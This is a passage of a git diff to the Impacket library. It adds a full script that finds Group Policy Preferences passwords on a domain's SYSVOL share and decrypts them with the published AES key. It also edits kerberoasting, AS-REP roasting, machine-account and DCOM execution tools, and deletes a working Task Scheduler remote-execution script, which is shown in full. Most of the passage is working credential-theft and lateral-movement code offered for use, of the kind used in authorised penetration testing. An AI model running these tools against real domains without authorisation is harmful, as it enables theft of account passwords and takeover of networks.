passwords, +# using Impacket's lib, and using streams for carving files instead of mounting shares +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) +# + +import argparse +import base64 +import chardet +import logging +import os +import re +import sys +import traceback + +from xml.dom import minidom +from io import BytesIO + +from Cryptodome.Cipher import AES +from Cryptodome.Util.Padding import unpad + +from impacket import version +from impacket.examples import logger, utils +from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError + + +class GetGPPasswords(object): + """docstring for GetGPPasswords.""" + + def __init__(self, smb, share): + super(GetGPPasswords, self).__init__() + self.smb = smb + self.share = share + + def list_shares(self): + logging.info("Listing shares...") + resp = self.smb.listShares() + shares = [] + for k in range(len(resp)): + shares.append(resp[k]['shi1_netname'][:-1]) + print(' - %s' % resp[k]['shi1_netname'][:-1]) + print() + + def find_cpasswords(self, base_dir, extension='xml'): + logging.info("Searching *.%s files..." % extension) + # Breadth-first search algorithm to recursively find .extension files + files = [] + searchdirs = [base_dir + '/'] + while len(searchdirs) != 0: + next_dirs = [] + for sdir in searchdirs: + logging.debug('Searching in %s ' % sdir) + try: + for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None): + if sharedfile.get_longname() not in ['.', '..']: + if sharedfile.is_directory(): + logging.debug('Found directory %s/' % sharedfile.get_longname()) + next_dirs.append(sdir + sharedfile.get_longname() + '/') + else: + if sharedfile.get_longname().endswith('.' + extension): + logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname())) + results = self.parse(sdir + sharedfile.get_longname()) + if len(results) != 0: + self.show(results) + files.append({"filename": sdir + sharedfile.get_longname(), "results": results}) + else: + logging.debug('Found file %s' % sharedfile.get_longname()) + except SessionError as e: + logging.debug(e) + searchdirs = next_dirs + logging.debug('Next iteration with %d folders.' % len(next_dirs)) + return files + + def parse_xmlfile_content(self, filename, filecontent): + results = [] + try: + root = minidom.parseString(filecontent) + properties_list = root.getElementsByTagName("Properties") + # function to get attribute if it exists, returns "" if empty + read_or_empty = lambda element, attribute: ( + element.getAttribute(attribute) if element.getAttribute(attribute) != None else "") + for properties in properties_list: + results.append({ + 'newname': read_or_empty(properties, 'newName'), + 'changed': read_or_empty(properties.parentNode, 'changed'), + 'cpassword': read_or_empty(properties, 'cpassword'), + 'password': self.decrypt_password(read_or_empty(properties, 'cpassword')), + 'username': read_or_empty(properties, 'userName'), + 'file': filename + }) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.debug(str(e)) + return results + + def parse(self, filename): + results = [] + filename = filename.replace('/', '\\') + fh = BytesIO() + try: + # opening the files in streams instead of mounting shares allows for running the script from + # unprivileged containers + self.smb.getFile(self.share, filename, fh.write) + except SessionError as e: + logging.error(e) + return results + except Exception as e: + raise + output = fh.getvalue() + encoding = chardet.detect(output)["encoding"] + if encoding != None: + filecontent = output.decode(encoding).rstrip() + if 'cpassword' in filecontent: + logging.debug(filecontent) + results = self.parse_xmlfile_content(filename, filecontent) + fh.close() + else: + logging.debug("No cpassword was found in %s" % filename) + else: + logging.debug("Output cannot be correctly decoded, are you sure the text is readable ?") + fh.close() + return results + + def decrypt_password(self, pw_enc_b64): + if len(pw_enc_b64) != 0: + # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) + key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \ + b'\x9b\x09\xa4\x33\xb6\x6c\x1b' + # thank you MS for using a fixed IV :) + iv = b'\x00' * 16 + pad = len(pw_enc_b64) % 4 + if pad == 1: + pw_enc_b64 = pw_enc_b64[:-1] + elif pad == 2 or pad == 3: + pw_enc_b64 += '=' * (4 - pad) + pw_enc = base64.b64decode(pw_enc_b64) + ctx = AES.new(key, AES.MODE_CBC, iv) + pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) + return pw_dec.decode('utf-16-le') + else: + logging.debug("cpassword is empty, cannot decrypt anything") + return "" + + def show(self, results): + for result in results: + logging.info("NewName\t: %s" % result['newname']) + logging.info("Changed\t: %s" % result['changed']) + logging.info("Username\t: %s" % result['username']) + logging.info("Password\t: %s" % result['password']) + logging.info("File\t: %s \n" % result['file']) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, + description='Group Policy Preferences passwords finder and decryptor') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') + parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse") + parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share") + parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)") + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_target(args): + domain, username, password, address = utils.parse_target(args.target) + + if args.target_ip is None: + args.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, address, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_smb_session(args, domain, username, password, address, lmhash, nthash): + smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) + dialect = smbClient.getDialect() + if dialect == SMB_DIALECT: + logging.debug("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.debug("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.debug("SMBv2.1 dialect used") + else: + logging.debug("SMBv3.0 dialect used") + if args.k is True: + smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) + else: + smbClient.login(username, password, domain, lmhash, nthash) + if smbClient.isGuestSession() > 0: + logging.debug("GUEST Session Granted") + else: + logging.debug("USER Session Granted") + return smbClient + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + if args.target.upper() == "LOCAL" : + if args.xmlfile is not None: + # Only given decrypt XML file + if os.path.exists(args.xmlfile): + g = GetGPPasswords(None, None) + logging.debug("Opening %s XML file for reading ..." % args.xmlfile) + f = open(args.xmlfile,'r') + rawdata = ''.join(f.readlines()) + f.close() + results = g.parse_xmlfile_content(args.xmlfile, rawdata) + g.show(results) + else: + print('[!] File does not exists or is not readable.') + else: + domain, username, password, address, lmhash, nthash = parse_target(args) + try: + smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash) + g = GetGPPasswords(smbClient, args.share) + g.list_shares() + g.find_cpasswords(args.base_dir) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py index f53553a39e..d6043eda9e 100755 --- a/examples/GetADUsers.py +++ b/examples/GetADUsers.py @@ -1,24 +1,27 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# This script will gather data about the domain's users and their corresponding email addresses. It will also -# include some extra information about last logon and last password set attributes. -# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and -# headers in line 190. -# If no entries are returned that means users don't have email addresses specified. If so, you can use the -# -all-users parameter. +# This script will gather data about the domain's users and their corresponding email addresses. It will also +# include some extra information about last logon and last password set attributes. +# You can enable or disable the the attributes shown in the final table by changing the values in line 184 and +# headers in line 190. +# If no entries are returned that means users don't have email addresses specified. If so, you can use the +# -all-users parameter. +# +# Author: +# Alberto Solino (@agsolino) # # Reference for: -# LDAP +# LDAP # + from __future__ import division from __future__ import print_function from __future__ import unicode_literals @@ -30,6 +33,7 @@ from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection @@ -219,8 +223,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.target).groups('') + domain, username, password = parse_credentials(options.target) if domain == '': logging.critical('Domain should be specified!') diff --git a/examples/GetNPUsers.py b/examples/GetNPUsers.py index fac2f06387..082d097fd4 100755 --- a/examples/GetNPUsers.py +++ b/examples/GetNPUsers.py @@ -1,28 +1,29 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# This script will attempt to list and get TGTs for those users that have the property -# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). -# For those users with such configuration, a John The Ripper output will be generated so -# you can send it for cracking. +# This script will attempt to list and get TGTs for those users that have the property +# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). +# For those users with such configuration, a John The Ripper output will be generated so +# you can send it for cracking. # -# Original credit for this technique goes to @harmj0y: -# https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ -# Related work by Geoff Janjua: -# https://www.exumbraops.com/layerone2016/party +# Original credit for this technique goes to @harmj0y: +# https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ +# Related work by Geoff Janjua: +# https://www.exumbraops.com/layerone2016/party # -# For usage instructions run the script with no parameters +# For usage instructions run the script with no parameters. # -# ToDo: +# Author: +# Alberto Solino (@agsolino) # + from __future__ import division from __future__ import print_function import argparse @@ -38,6 +39,7 @@ from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter from impacket.krb5.kerberosv5 import sendReceive, KerberosError @@ -402,8 +404,7 @@ def request_multiple_TGTs(self, usernames): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.target).groups('') + domain, username, password = parse_credentials(options.target) if domain == '': logging.critical('Domain should be specified!') diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index e51af35616..1c7dd84175 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -1,32 +1,35 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# This module will try to find Service Principal Names that are associated with normal user account. -# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request -# will encrypt the ticket with the account the SPN is running under, this could be used for an offline -# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. -# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at -# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf +# This module will try to find Service Principal Names that are associated with normal user account. +# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request +# will encrypt the ticket with the account the SPN is running under, this could be used for an offline +# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. +# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at +# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf # -# Original idea of implementing this in Python belongs to @skelsec and his -# https://github.com/skelsec/PyKerberoast project +# Original idea of implementing this in Python belongs to @skelsec and his +# https://github.com/skelsec/PyKerberoast project # -# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. -# Also, disabled accounts won't be shown. +# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. +# Also, disabled accounts won't be shown. +# +# Author: +# Alberto Solino (@agsolino) # # ToDo: -# [X] Add the capability for requesting TGS and output them in JtR/hashcat format -# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer -# (play with userAccountControl) +# [X] Add the capability for requesting TGS and output them in JtR/hashcat format +# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer +# (play with userAccountControl) # + from __future__ import division from __future__ import print_function import argparse @@ -40,6 +43,7 @@ from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import TGS_REP from impacket.krb5.ccache import CCache @@ -49,6 +53,7 @@ from impacket.smbconnection import SMBConnection from impacket.ntlm import compute_lmhash, compute_nthash + class GetUserSPNs: @staticmethod def printTable(items, header): @@ -479,8 +484,7 @@ def request_multiple_TGSs(self, usernames): else: logging.getLogger().setLevel(logging.INFO) - import re - userDomain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.target).groups('') + userDomain, username, password = parse_credentials(options.target) if userDomain == '': logging.critical('userDomain should be specified!') diff --git a/examples/addcomputer.py b/examples/addcomputer.py index 1e88d29dc5..529a65e557 100755 --- a/examples/addcomputer.py +++ b/examples/addcomputer.py @@ -1,28 +1,35 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# JaGoTu (@jagotu) -# # Description: -# This script will add a computer account to the domain and set its password. -# Allows to use SAMR over SMB (this way is used by modern Windows computer when -# adding machines through the GUI) and LDAPS. -# Plain LDAP is not supported, as it doesn't allow setting the password. +# This script will add a computer account to the domain and set its password. +# Allows to use SAMR over SMB (this way is used by modern Windows computer when +# adding machines through the GUI) and LDAPS. +# Plain LDAP is not supported, as it doesn't allow setting the password. +# +# Author: +# JaGoTu (@jagotu) # # Reference for: -# SMB, SAMR, LDAP +# SMB, SAMR, LDAP # +# ToDo: +# [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol +# + from __future__ import division from __future__ import print_function from __future__ import unicode_literals from impacket import version from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket.dcerpc.v5 import samr, epm, transport from impacket.spnego import SPNEGO_NegTokenInit, TypesMech @@ -527,6 +534,14 @@ def doSAMRAdd(self, rpctransport): if self.__noAdd: logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) else: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + userRID = checkForUser['RelativeIds']['Element'][0] + openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) + userHandle = openUser['UserHandle'] + req = samr.SAMPR_USER_INFO_BUFFER() + req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation + req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT + samr.hSamrSetInformationUser2(dce, userHandle, req) logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) except Exception as e: @@ -617,9 +632,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.account).groups( - '') + domain, username, password = parse_credentials(options.account) try: if domain is None or domain == '': diff --git a/examples/atexec.py b/examples/atexec.py deleted file mode 100755 index da7126a1eb..0000000000 --- a/examples/atexec.py +++ /dev/null @@ -1,314 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# ATSVC example for some functions implemented, creates, enums, runs, delete jobs -# This example executes a command on the target machine through the Task Scheduler -# service. Returns the output of such command -# -# Author: -# Alberto Solino (@agsolino) -# -# Reference for: -# DCE/RPC for TSCH -from __future__ import division -from __future__ import print_function -import string -import sys -import argparse -import time -import random -import logging - -from impacket.examples import logger -from impacket import version -from impacket.dcerpc.v5 import tsch, transport -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \ - RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from impacket.krb5.keytab import Keytab -from six import PY2 - -CODEC = sys.stdout.encoding - -class TSCH_EXEC: - def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, - command=None, sessionId=None): - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = aesKey - self.__doKerberos = doKerberos - self.__kdcHost = kdcHost - self.__command = command - self.sessionId = sessionId - - if hashes is not None: - self.__lmhash, self.__nthash = hashes.split(':') - - def play(self, addr): - stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr - rpctransport = transport.DCERPCTransportFactory(stringbinding) - - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey) - rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) - try: - self.doStuff(rpctransport) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: - logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work') - - def doStuff(self, rpctransport): - def output_callback(data): - try: - print(data.decode(CODEC)) - except UnicodeDecodeError: - logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py ' - 'again with -codec and the corresponding codec') - print(data.decode(CODEC, errors='replace')) - - def xml_escape(data): - replace_table = { - "&": "&", - '"': """, - "'": "'", - ">": ">", - "<": "<", - } - return ''.join(replace_table.get(c, c) for c in data) - - def cmd_split(cmdline): - cmdline = cmdline.split(" ", 1) - cmd = cmdline[0] - args = cmdline[1] if len(cmdline) > 1 else '' - - return [cmd, args] - - dce = rpctransport.get_dce_rpc() - - dce.set_credentials(*rpctransport.get_credentials()) - if self.__doKerberos is True: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.bind(tsch.MSRPC_UUID_TSCHS) - tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) - tmpFileName = tmpName + '.tmp' - - if self.sessionId is not None: - cmd, args = cmd_split(self.__command) - else: - cmd = "cmd.exe" - args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName) - - xml = """ - - - - 2015-07-15T20:35:13.2757294 - true - - 1 - - - - - - S-1-5-18 - HighestAvailable - - - - IgnoreNew - false - false - true - false - - true - false - - true - true - true - false - false - P3D - 7 - - - - %s - %s - - - - """ % (xml_escape(cmd), xml_escape(args)) - taskCreated = False - try: - logging.info('Creating task \\%s' % tmpName) - tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) - taskCreated = True - - logging.info('Running task \\%s' % tmpName) - done = False - - if self.sessionId is None: - tsch.hSchRpcRun(dce, '\\%s' % tmpName) - else: - try: - tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId) - except Exception as e: - if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 : - logging.info('The specified session doesn\'t exist!') - done = True - else: - raise - - while not done: - logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) - resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) - if resp['pLastRuntime']['wYear'] != 0: - done = True - else: - time.sleep(2) - - logging.info('Deleting task \\%s' % tmpName) - tsch.hSchRpcDelete(dce, '\\%s' % tmpName) - taskCreated = False - except tsch.DCERPCSessionError as e: - logging.error(e) - e.get_packet().dump() - finally: - if taskCreated is True: - tsch.hSchRpcDelete(dce, '\\%s' % tmpName) - - if self.sessionId is not None: - dce.disconnect() - return - - smbConnection = rpctransport.get_smb_connection() - waitOnce = True - while True: - try: - logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) - smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) - break - except Exception as e: - if str(e).find('SHARING') > 0: - time.sleep(3) - elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: - if waitOnce is True: - # We're giving it the chance to flush the file before giving up - time.sleep(3) - waitOnce = False - else: - raise - else: - raise - logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) - smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) - - dce.disconnect() - - -# Process command-line arguments. -if __name__ == '__main__': - print(version.BANNER) - - parser = argparse.ArgumentParser() - - parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ') - parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)') - - parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' - '"%s"). If errors are detected, run chcp.com at the target, ' - 'map the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' - 'again with -codec and the corresponding codec ' % CODEC) - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' - 'If omitted it will use the domain part (FQDN) specified in the target parameter') - group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.codec is not None: - CODEC = options.codec - else: - if CODEC is None: - CODEC = 'utf-8' - - logging.warning("This will work ONLY on Windows >= Vista") - - if ''.join(options.command) == ' ': - logging.error('You need to specify a command to execute!') - sys.exit(1) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] - - if domain is None: - domain = '' - - if options.keytab is not None: - Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) - options.k = True - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, - ' '.join(options.command), options.session_id) - atsvc_exec.play(address) diff --git a/examples/dcomexec.py b/examples/dcomexec.py index 3cce9d8b71..85635e6b5d 100755 --- a/examples/dcomexec.py +++ b/examples/dcomexec.py @@ -1,35 +1,39 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A similar approach to psexec but executing commands through DCOM. -# You can select different objects to be used to execute the commands. -# Currently supported objects are: -# 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2 -# 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2 -# 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2 +# Description: +# A similar approach to psexec but executing commands through DCOM. +# You can select different objects to be used to execute the commands. +# Currently supported objects are: +# 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2 +# 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2 +# 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2 # -# Drawback is it needs DCOM, hence, I have to be able to access -# DCOM ports at the target machine. +# Drawback is it needs DCOM, hence, I have to be able to access +# DCOM ports at the target machine. # -# Original discovery by Matt Nelson (@enigma0x3): -# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ -# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ +# Original discovery by Matt Nelson (@enigma0x3): +# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ +# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ # # Author: -# beto (@agsolino) -# Marcello (@byt3bl33d3r) +# beto (@agsolino) +# Marcello (@byt3bl33d3r) # # Reference for: # DCOM # # ToDo: -# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to -# getInterface() method +# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to +# getInterface() method # + from __future__ import division from __future__ import print_function import argparse @@ -39,17 +43,19 @@ import os import sys import time +from base64 import b64encode from six import PY2, PY3 from impacket import version from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD -from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ IRemUnknown2, INTERFACE from impacket.dcerpc.v5.dtypes import NULL from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, 